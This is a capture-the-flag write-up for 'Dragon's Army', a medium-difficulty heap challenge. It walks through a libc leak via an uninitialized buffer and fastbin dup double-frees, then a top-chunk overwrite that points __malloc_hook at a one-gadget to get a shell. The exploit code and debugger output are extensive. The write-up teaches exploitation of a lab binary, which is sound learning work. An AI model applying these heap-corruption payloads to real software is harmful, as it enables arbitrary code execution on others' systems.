Dragon's Army

15th April 2023 / Document No. D23.102.10

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: Medium

Classification: Official

Synopsis

Dragon's army is a medium difficulty challenge that features `fastbin dup` and bypassing `glibc2.30+` top chunk's check with `no-tcache`.

Skills Required

- Basic Heap knowledge, bins.

Skills Learned

- fastbin dup.

Enumeration

First of all, we start with `checksec`:

```
Canary                        : ✓
NX                            : ✓
PIE                           : ✓
Fortify                       : ✘
RelRO                         : Full
```

Protections

Protection	Enabled	Usage
Canary	✅	Prevents **Buffer Overflows**
NX	✅	Disables **code execution** on stack
PIE	✅	Randomizes the **base address** of the binary
RelRO	**Full**	Makes some binary sections **read-only**

All protections are enabled.

The program's interface looks like this:

```
Say the magic spell to enhance your army's power: 123

Unknown spell!

Dragons: [0/13]

🀄🀄🀄🀄🀄🀄🀄🀄
🀄          🀄
🀄  1. Summon  🀄
🀄          🀄
🀄  2. Release 🀄
🀄          🀄
🀄  3. Leave   🀄
🀄          🀄
🀄🀄🀄🀄🀄🀄🀄🀄

>> 1

How tall you want the dragon: 12

Color of your dragon: RED

Dragons: [1/13]

🀄🀄🀄🀄🀄🀄🀄🀄
🀄          🀄
🀄  1. Summon  🀄
🀄          🀄
🀄  2. Release 🀄
🀄          🀄
🀄  3. Leave   🀄
🀄          🀄
🀄🀄🀄🀄🀄🀄🀄🀄

>>
```

Taking a look at `libc.so.6`:

```
strings libc.so.6| grep version
<SNIP>
GNU C Library (GNU libc) stable release version 2.30.
<SNIP>
```

Also:

```
strings libc.so.6| grep tcache

<SNIP
/.glibc/glibc_2.30_no-tcache/nscd
../.glibc/glibc_2.30_no-tcache/login
<SNIP>
```

This version of `glibc` has the restrictions and protections of `glibc 2.30` but `no-tcache`.

Disassembly

Starting with `main()`:

```
void main(void)

{
  size_t __nbytes;
  char *pcVar1;
  ulong uVar2;
  int iVar3;
  ulong uVar4;
  long lVar5;
  char **ppcVar6;
  long in_FS_OFFSET;
  undefined8 uStack208;
  ulong local_c8 [3];
  char *local_b0;
  ulong local_a8;
  char *local_a0;
  char *local_98 [13];
  undefined8 local_30;

  local_30 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  ppcVar6 = local_98;
  for (lVar5 = 0xd; lVar5 != 0; lVar5 = lVar5 + -1) {
    *ppcVar6 = (char *)0x0;
    ppcVar6 = ppcVar6 + 1;
  }
  local_c8[0] = 0;
  local_c8[1] = 0x80;
  uStack208 = 0x10138d;
  cls();
  uStack208 = 0x1013ad;
  fwrite("Say the magic spell to enhance your army\'s power: ",1,0x32,stdout);
  local_c8[2] = local_c8[1] + -1;
  uVar4 = (local_c8[1] + 0xf) / 0x10;
  local_b0 = (char *)(local_c8 + uVar4 * -2);
```

```
  (&uStack208)[uVar4 * -2] = 0x101411;
  fflush(stdin);
  (&uStack208)[uVar4 * -2] = 0x101420;
  fflush(stdout);
  pcVar1 = local_b0;
  __nbytes = local_c8[1] - 1;
  (&uStack208)[uVar4 * -2] = 0x10143f;
  read(0,pcVar1,__nbytes);
  (&uStack208)[uVar4 * -2] = 0x10144e;
  fflush(stdin);
  (&uStack208)[uVar4 * -2] = 0x10145d;
  fflush(stdout);
  pcVar1 = local_b0;
  (&uStack208)[uVar4 * -2] = 0x101478;
  iVar3 = strncmp(pcVar1,"r3dDr4g3nst1str0f1",0x12);
  pcVar1 = local_b0;
  if (iVar3 == 0) {
    (&uStack208)[uVar4 * -2] = 0x10149e;
    fprintf(stdout,"\nArmy\'s power has been buffed with spell: %s\n",pcVar1);
  }
  else {
    (&uStack208)[uVar4 * -2] = 0x1014bb;
    fprintf(stdout,"\nUnknown spell!\n");
  }
  while( true ) {
    while( true ) {
      (&uStack208)[uVar4 * -2] = 0x1014ca;
      fflush(stdin);
      (&uStack208)[uVar4 * -2] = 0x1014d9;
      fflush(stdout);
      uVar2 = local_c8[0];
      (&uStack208)[uVar4 * -2] = 0x101512;
      fprintf(stdout,"\n%sDragons:
[%d/%d]%s\n\n",&DAT_001020a7,uVar2,0xd,&DAT_0010209f);
      (&uStack208)[uVar4 * -2] = 0x101532;
      fwrite(&DAT_001020c8,1,0xef,stdout);
      (&uStack208)[uVar4 * -2] = 0x101541;
      fflush(stdin);
      (&uStack208)[uVar4 * -2] = 0x101550;
      fflush(stdout);
      (&uStack208)[uVar4 * -2] = 0x10155a;
      lVar5 = read_num();
      if (lVar5 != 1) break;
      if (0xc < local_c8[0]) {
        (&uStack208)[uVar4 * -2] = 0x10178c;
        fprintf(stdout,"\n%s[-] No more
summons!\n\n%s",&DAT_001021d8,&DAT_001020a7);
                    /* WARNING: Subroutine does not return */
        (&uStack208)[uVar4 * -2] = 0x101796;
        exit(0x16);
      }
      (&uStack208)[uVar4 * -2] = 0x10159d;
      fwrite("\nHow tall you want the dragon: ",1,0x1f,stdout);
      (&uStack208)[uVar4 * -2] = 0x1015ac;
      fflush(stdin);
      (&uStack208)[uVar4 * -2] = 0x1015bb;
```

```
      fflush(stdout);
      (&uStack208)[uVar4 * -2] = 0x1015c5;
      local_a8 = read_num();
      (&uStack208)[uVar4 * -2] = 0x1015db;
      fflush(stdin);
      (&uStack208)[uVar4 * -2] = 0x1015ea;
      fflush(stdout);
      uVar2 = local_a8;
      if (((local_a8 < 0x59) && (1 < local_a8)) || ((0x68 < local_a8 &&
(local_a8 < 0x79)))) {
        (&uStack208)[uVar4 * -2] = 0x101629;
        local_a0 = (char *)malloc(uVar2);
        local_98[local_c8[0]] = local_a0;
        if (local_98[local_c8[0]] == (char *)0x0) {
          (&uStack208)[uVar4 * -2] = 0x101683;
          fprintf(stdout,"\n%s[-] Something went
wrong!%s\n\n",&DAT_001021d8,&DAT_001020a7);
        }
        else {
          (&uStack208)[uVar4 * -2] = 0x101697;
          fflush(stdin);
          (&uStack208)[uVar4 * -2] = 0x1016a6;
          fflush(stdout);
          (&uStack208)[uVar4 * -2] = 0x1016c6;
          fwrite("\nColor of your dragon: ",1,0x17,stdout);
          (&uStack208)[uVar4 * -2] = 0x1016d5;
          fflush(stdin);
          (&uStack208)[uVar4 * -2] = 0x1016e4;
          fflush(stdout);
          iVar3 = (int)local_a8;
          pcVar1 = local_98[local_c8[0]];
          (&uStack208)[uVar4 * -2] = 0x10170d;
          fgets(pcVar1,iVar3,stdin);
          (&uStack208)[uVar4 * -2] = 0x10171c;
          fflush(stdin);
          (&uStack208)[uVar4 * -2] = 0x10172b;
          fflush(stdout);
          local_c8[0] = local_c8[0] + 1;
        }
      }
      else {
        (&uStack208)[uVar4 * -2] = 0x10175e;
        fprintf(stdout,"\n%s[-] Not a valid size for a
dragon!%s\n",&DAT_001021d8,&DAT_001020a7);
      }
    }
    if (lVar5 != 2) break;
    (&uStack208)[uVar4 * -2] = 0x1017bb;
    fwrite("\nDragon\'s number: ",1,0x12,stdout);
    (&uStack208)[uVar4 * -2] = 0x1017ca;
    fflush(stdin);
    (&uStack208)[uVar4 * -2] = 0x1017d9;
    fflush(stdout);
    (&uStack208)[uVar4 * -2] = 0x1017e3;
    local_a8 = read_num();
    if (local_a8 < local_c8[0]) {
```

```
      pcVar1 = local_98[local_a8];
      (&uStack208)[uVar4 * -2] = 0x101811;
      free(pcVar1);
      (&uStack208)[uVar4 * -2] = 0x10183a;
      fprintf(stdout,"\n%s[+] The Dragon
disappeared!\n%s",&DAT_00102278,&DAT_001020a7);
    }
    else {
      (&uStack208)[uVar4 * -2] = 0x101865;
      fprintf(stdout,"\n%s[-] Not available
dragon!%s\n",&DAT_001021d8,&DAT_001020a7);
    }
  }
  (&uStack208)[uVar4 * -2] = 0x101887;
  fwrite("\nFarewell..",1,0xb,stdout);
                    /* WARNING: Subroutine does not return */
  (&uStack208)[uVar4 * -2] = 0x101891;
  exit(0x520);
}
```

There is a possible `libc` leak at:

```
fprintf(stdout,"\nArmy\'s power has been buffed with spell: %s\n",pcVar1);
```

`pcVar1` is an uninitialized buffer and if the spell `r3dDr4g3nst1str0f1` is given, it prints its content. So, to leak a libc address, we can give the aforementioned spell and after that, a couple of `A`'s we get a `libc` leak. This fuzzing function can help:

```
def fuzzer(r):
  context.log_level = 'critical'
  for i in range (100):
    r.close()
    r = process(fname)
    payload = 'r3dDr4g3nst1str0f1' + 'A'*i
    r.sendline(payload)
    r.recvuntil(payload + '\n')
    leak = r.recvline()[:-1]
    if (len(str(leak)) > 16 and b'\x7f' in leak):
      leak = u64(leak.ljust(8, b"\x00"))
      print(f'[{i}] Possible libc: {leak:#04x}')
```

The results are:

```
[+] Starting local process './da': pid 5858

[29] Possible libc: 0x7fa06d9b1420
[30] Possible libc: 0x7f017edb14
[37] Possible libc: 0x7f21ffe6eab9
[61] Possible libc: 0x7ffd17eea130
[62] Possible libc: 0x7ffcb40886
[63] Possible libc: 0x7ffec5bf
[77] Possible libc: 0x7fffdf52f980
[78] Possible libc: 0x7ffcc979af
[79] Possible libc: 0x7ffd0c05
```

The address at `[29]` seems to be a valid libc address. Checking inside the debugger:

```
gef➤  p 0x7fe9691b1420-0x007fe968e00000
$4 = 0x3b1420
```

Filling the buffer with the spell and another 29 bytes, it leaks the `libc` address from which we can subtract `0x3b1420` bytes to calculate `libc base`.

Now that we have `libc base` and we cannot print any other addresses like `heap` or `PIE`, we need to somehow tamper with the heap to call `one gadget` or `system("/bin/sh");`.

Fastbin dup

Consider what happens if we allocate a fastbin-sized chunk and freed it multiple times. We know that `free()` pushes the freed chunk to the fastbin, but if freed multiple times, the same freed chunk would end up multiple times in the same fastbin, which makes reallocation of the same chunk to different allocation requests possible. This is a fastbin-based double free, or **fastbin dup** (for duplication), which is a double-free vulnerability in chunks that are less than or equal to `88 B` on a 64-bit system.

A chunk is freed twice, which tricks `malloc()` to return duplicate chunks from the fastbin. New chunks are then allocated, and by writing to these new chunks a write-what-where condition is created for arbitrary code execution.

The requirements to abuse a fastbin dup attack are:

1. Existence of a double-free vulnerability, with the ability to slip in a call to `free()` in between the double-free (to bypass the last-freed-chunk check in `malloc.c`)
2. Ability to allocate chunks (either arbitrarily, or through application interface) in order to trigger the double-free vulnerability
3. Ability to write data to a chunk.

As we mentioned before, the challenge has `no-tcache`, that means after we free an allocated buffer, it will go to the corresponding `bin`.

Let's allocate some chunks and see what happens.

```
malloc(0x48, b'A'*8)
malloc(0x48, b'B'*8)

free(0)
free(1)
free(0)
```

Inspecting the heap chunks after the first allocation:

```
gef➤  heap chunks
Chunk(addr=0x55992d2c0010, size=0x410, flags=PREV_INUSE)
    [0x000055992d2c0010     48 6f 77 20 74 61 6c 6c 20 79 6f 75 20 77 61 6e
How tall you wan]
Chunk(addr=0x55992d2c0420, size=0x1010, flags=PREV_INUSE)
    [0x000055992d2c0420     31 0a 37 32 0a 41 41 41 41 41 41 41 41 0a 31 0a
1.72.AAAAAAAA.1.]
Chunk(addr=0x55992d2c1430, size=0x50, flags=PREV_INUSE)
    [0x000055992d2c1430     41 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00
AAAAAAAA........]
Chunk(addr=0x55992d2c1480, size=0x1fb90, flags=PREV_INUSE)
    [0x000055992d2c1480     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
................]
Chunk(addr=0x55992d2c1480, size=0x1fb90, flags=PREV_INUSE)  ←  top chunk
```

See the heap area where the `0x50` bytes are allocated:

```
gef➤  x/30gx 0x55992d2c1430-0x10
0x55992d2c1420: 0x0000000000000000  0x0000000000000051
0x55992d2c1430: 0x4141414141414141  0x000000000000000a
0x55992d2c1440: 0x0000000000000000  0x0000000000000000
0x55992d2c1450: 0x0000000000000000  0x0000000000000000
0x55992d2c1460: 0x0000000000000000  0x0000000000000000
0x55992d2c1470: 0x0000000000000000  0x000000000001fb91
```

Now after the 2 allocations and the 2 frees:

```
gef➤  x/30gx 0x55992d2c1430-0x10
0x55992d2c1420: 0x0000000000000000  0x0000000000000051
0x55992d2c1430: 0x0000000000000000  0x000000000000000a
0x55992d2c1440: 0x0000000000000000  0x0000000000000000
0x55992d2c1450: 0x0000000000000000  0x0000000000000000
0x55992d2c1460: 0x0000000000000000  0x0000000000000000
0x55992d2c1470: 0x0000000000000000  0x0000000000000051
0x55992d2c1480: 0x000055992d2c1420  0x000000000000000a
0x55992d2c1490: 0x0000000000000000  0x0000000000000000
0x55992d2c14a0: 0x0000000000000000  0x0000000000000000
0x55992d2c14b0: 0x0000000000000000  0x0000000000000000
0x55992d2c14c0: 0x0000000000000000  0x000000000001fb41
```

We also see that the freed chunks went to the `fastbins` and not `tcache`.

```
gef➤  heap bins fast
──────────────────────────── Fastbins for arena at 0x7faa2e1b4b60
─────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50]  ←  Chunk(addr=0x55992d2c1480, size=0x50,
flags=PREV_INUSE)  ←  Chunk(addr=0x55992d2c1430, size=0x50, flags=PREV_INUSE)
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
```

Our first goal is to bypass the double-free protection and then manage to overwrite the fastbin fd with a fake 0x60-size field.

The payload so far:

```
# Allocate 2 0x50-sized chunks
# Duplicate the first chunk, use the second to bypass double-free mitigation.
malloc(0x48, b'A'*8)
malloc(0x48, b'B'*8)

# Free the 2 chunks and double free the first.
# Use the double-free bug to free the "dup" chunk, then the "safety" chunk,
then the "dup" chunk again.
# This way the "dup" chunk is not at the head of the 0x50 fastbin when it is
freed for the second time,
# bypassing the fastbins double-free mitigation.
free(0)
free(1)
free(0)

# Overwrite a fastbin fd with a fake size field.
# The next request for a 0x50-sized chunk will be serviced by the "dup" chunk.
# Request it, then overwrite its fastbin fd with a fake 0x60 size field.
malloc(0x48, p64(0x61))
```

The heap layout:

```
gef➤  x/30gx 0x5572daa48430-0x10
0x5572daa48420: 0x0000000000000000  0x0000000000000051
0x5572daa48430: 0x0000000000000061  0x000000000000000a <---- Fake field size
0x60
0x5572daa48440: 0x0000000000000000  0x0000000000000000
0x5572daa48450: 0x0000000000000000  0x0000000000000000
0x5572daa48460: 0x0000000000000000  0x0000000000000000
0x5572daa48470: 0x0000000000000000  0x0000000000000051
0x5572daa48480: 0x00005572daa48420  0x000000000000000a
0x5572daa48490: 0x0000000000000000  0x0000000000000000
0x5572daa484a0: 0x0000000000000000  0x0000000000000000
0x5572daa484b0: 0x0000000000000000  0x0000000000000000
0x5572daa484c0: 0x0000000000000000  0x000000000001fb41
0x5572daa484d0: 0x0000000000000000  0x0000000000000000
0x5572daa484e0: 0x0000000000000000  0x0000000000000000
```

```
0x5572daa484f0: 0x0000000000000000  0x0000000000000000
0x5572daa48500: 0x0000000000000000  0x0000000000000000

gef➤  heap bins fast
──────────────────────────── Fastbins for arena at 0x7fe6bd5b4b60
────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50]  ←  Chunk(addr=0x5572daa48480, size=0x50,
flags=PREV_INUSE)  ←  Chunk(addr=0x5572daa48430, size=0x50, flags=PREV_INUSE)
←  [Corrupted chunk at 0x71]
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00

gef➤  x/20gx &main_arena
0x7fe6bd5b4b60 <main_arena>:  0x0000000000000000  0x0000000000000001
0x7fe6bd5b4b70 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4b80 <main_arena+32>: 0x0000000000000000  0x00005572daa48470
0x7fe6bd5b4b90 <main_arena+48>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4ba0 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4bb0 <main_arena+80>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4bc0 <main_arena+96>: 0x00005572daa484c0  0x0000000000000000
0x7fe6bd5b4bd0 <main_arena+112>:  0x00007fe6bd5b4bc0  0x00007fe6bd5b4bc0
0x7fe6bd5b4be0 <main_arena+128>:  0x00007fe6bd5b4bd0  0x00007fe6bd5b4bd0
0x7fe6bd5b4bf0 <main_arena+144>:  0x00007fe6bd5b4be0  0x00007fe6bd5b4be0
```

Now, we need to make two more requests for 0x50-sized chunks. The "safety" chunk, then the "dup" chunk are allocated to

service these requests. This has the effect of writing the fake 0x60 size field into the main arena in the 0x50 fastbin slot:

```
malloc(0x48, b'C'*8)
malloc(0x48, b'D'*8)
```

```
gef➤  heap bins fast
──────────────────────────── Fastbins for arena at 0x7fe6bd5b4b60
────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50]  ←  [Corrupted chunk at 0x71]
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤  x/30gx 0x5572daa48430-0x10
0x5572daa48420: 0x0000000000000000  0x0000000000000051
0x5572daa48430: 0x4444444444444444  0x000000000000000a
0x5572daa48440: 0x0000000000000000  0x0000000000000000
0x5572daa48450: 0x0000000000000000  0x0000000000000000
0x5572daa48460: 0x0000000000000000  0x0000000000000000
0x5572daa48470: 0x0000000000000000  0x0000000000000051
```

```
0x5572daa48480: 0x4343434343434343  0x000000000000000a
0x5572daa48490: 0x0000000000000000  0x0000000000000000
0x5572daa484a0: 0x0000000000000000  0x0000000000000000
0x5572daa484b0: 0x0000000000000000  0x0000000000000000
0x5572daa484c0: 0x0000000000000000  0x000000000001fb41
0x5572daa484d0: 0x0000000000000000  0x0000000000000000
0x5572daa484e0: 0x0000000000000000  0x0000000000000000
0x5572daa484f0: 0x0000000000000000  0x0000000000000000
0x5572daa48500: 0x0000000000000000  0x0000000000000000
gef➤  x/20gx &main_arena
0x7fe6bd5b4b60 <main_arena>:  0x0000000000000000  0x0000000000000001
0x7fe6bd5b4b70 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4b80 <main_arena+32>: 0x0000000000000000  0x0000000000000061 <---
Overwritten 0x60 field size
0x7fe6bd5b4b90 <main_arena+48>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4ba0 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4bb0 <main_arena+80>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4bc0 <main_arena+96>: 0x00005572daa484c0  0x0000000000000000
```

We will proceed by linking the fake main arena chunk into the 0x60 fastbin by abusing another fastbin dup attack.

```
# Another fastbin dup.
malloc(0x58, b'J'*8)
malloc(0x58, b'K'*8)

free(5)
free(6)
free(5)

# Link the fake chunk into the 0x60 fastbin.
malloc(0x58, p64(libc.sym.main_arena + 0x20))
```

```
gef➤  x/60gx 0x5572daa48430-0x10
0x5572daa48420: 0x0000000000000000  0x0000000000000051
0x5572daa48430: 0x4444444444444444  0x000000000000000a
0x5572daa48440: 0x0000000000000000  0x0000000000000000
0x5572daa48450: 0x0000000000000000  0x0000000000000000
0x5572daa48460: 0x0000000000000000  0x0000000000000000
0x5572daa48470: 0x0000000000000000  0x0000000000000051
0x5572daa48480: 0x4343434343434343  0x000000000000000a
0x5572daa48490: 0x0000000000000000  0x0000000000000000
0x5572daa484a0: 0x0000000000000000  0x0000000000000000
0x5572daa484b0: 0x0000000000000000  0x0000000000000000
0x5572daa484c0: 0x0000000000000000  0x0000000000000061
0x5572daa484d0: 0x00007fe6bd5b4b80  0x000000000000000a
0x5572daa484e0: 0x0000000000000000  0x0000000000000000
0x5572daa484f0: 0x0000000000000000  0x0000000000000000
0x5572daa48500: 0x0000000000000000  0x0000000000000000
0x5572daa48510: 0x0000000000000000  0x0000000000000000
0x5572daa48520: 0x0000000000000000  0x0000000000000061
0x5572daa48530: 0x00005572daa484c0  0x000000000000000a
0x5572daa48540: 0x0000000000000000  0x0000000000000000
0x5572daa48550: 0x0000000000000000  0x0000000000000000
```

```
0x5572daa48560: 0x0000000000000000  0x0000000000000000
0x5572daa48570: 0x0000000000000000  0x0000000000000000
0x5572daa48580: 0x0000000000000000  0x000000000001fa81

gef➤  x/20gx &main_arena
0x7fe6bd5b4b60 <main_arena>:  0x0000000000000000  0x0000000000000001
0x7fe6bd5b4b70 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4b80 <main_arena+32>: 0x0000000000000000  0x0000000000000061
0x7fe6bd5b4b90 <main_arena+48>: 0x00005572daa48520  0x0000000000000000
0x7fe6bd5b4ba0 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4bb0 <main_arena+80>: 0x0000000000000000  0x0000000000000000
0x7fe6bd5b4bc0 <main_arena+96>: 0x00005572daa48580  0x0000000000000000
0x7fe6bd5b4bd0 <main_arena+112>:  0x00007fe6bd5b4bc0  0x00007fe6bd5b4bc0
0x7fe6bd5b4be0 <main_arena+128>:  0x00007fe6bd5b4bd0  0x00007fe6bd5b4bd0
0x7fe6bd5b4bf0 <main_arena+144>:  0x00007fe6bd5b4be0  0x00007fe6bd5b4be0

gef➤  heap bins fast
────────────────────────────── Fastbins for arena at 0x7fe6bd5b4b60
──────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50]  ←  [Corrupted chunk at 0x71]
Fastbins[idx=4, size=0x60]  ←  Chunk(addr=0x5572daa48530, size=0x60,
flags=PREV_INUSE)  ←  Chunk(addr=0x5572daa484d0, size=0x60, flags=PREV_INUSE)
←  Chunk(addr=0x7fe6bd5b4b90, size=0x60, flags=PREV_INUSE)  ←
Chunk(addr=0x5572daa48530, size=0x60, flags=PREV_INUSE)  →  [loop detected]
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
```

As we can see, the fake chunk of the main_arena is allocated inside the 0x60 fastbin.

Next, we will allocate another 2 0x60-szied chunks.

```
# Make two more requests for 0x60-sized chunks. The "safety" chunk, then the
"dup" chunk are allocated to
# service these requests.
malloc(0x58, b'A'*8)
malloc(0x58, b'B'*8)
```

We did that so we can overwrite the Top chunk's pointer with the address of `__malloc_hook - 0x24` . This ensures there is a sane top chunk size field at the new top chunk address, satisfying the GLIBC 2.29 top chunk size field integrity check.

```
malloc(0x58, p64(0)*6 + p64(libc.sym.__malloc_hook - 0x24))
```

Last but not least, we need to make a request that will be serviced from the corrupted top chunk, this chunk will overlap the `__malloc_hook` and then overwrite the `__malloc_hook` with the address of one-gadget.

```
malloc(0x28, p8(0)*0x14 + p64(libc.address + 0xe1fa1))
```

The next call to `malloc()` will instead call the one-gadget and drop a shell.